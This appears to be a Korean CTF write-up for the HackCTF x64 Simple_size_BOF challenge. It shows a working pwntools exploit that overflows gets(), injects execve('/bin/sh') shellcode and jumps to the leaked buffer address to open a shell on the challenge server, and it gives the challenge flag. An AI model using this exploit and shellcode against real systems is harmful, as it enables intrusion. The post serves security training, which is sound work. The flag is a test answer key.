Wargame/HackCTF

[HackCTF : Pwnable] x64 Simple_size_BOF (150p)

chocovy 2021. 6. 1. 16:14

[HackCTF : Pwnable] x64 Simple_size_BOF (150p)

문제
checksec

해당 문제는 NX가 꺼져있어 쉘 코드를 넣어 공격하는 것이 가능하다.

 

Simple_size_bof

문제를 실행해봅시다.

 

삐빅- 자살방지 문제입니다.

buf: 0x7fff8f4b5570

 

를 출력하고 입력을 받는데 buf의 위치가 실행할 때마다 달라진다.

 

main

gdb로 확인해보자.

 

buf

이 부분에서 buf가 [rbp-0x6d30] 라고 알 수 있다. 

gets

이번에도 gets 함수에서 BOF가 발생하는데 [rbp-0x6d30]에서부터 입력을 받기 때문에

쉘 코드를 해당 영역에 넣고 ret까지를 dummy로 채운 뒤 ret를 [rbp-0x6d30]의 주소로 변조하면 된다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
 
= remote("ctf.j0n9hyun.xyz",3005)
 
p.recvuntil("buf: ")
buf = int(p.recv(14),16)
 
payload = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
payload += "A"*27937
payload += p64(buf)
 
p.send(payload)
p.interactive()
cs

 

buf의 주소가 매번 달라지기 때문에 이렇게 출력되는 buf의 주소로 공격해야 한다.

 

성공

HackCTF{s000000_5m4ll_4nd_5m4ll_51z3_b0f}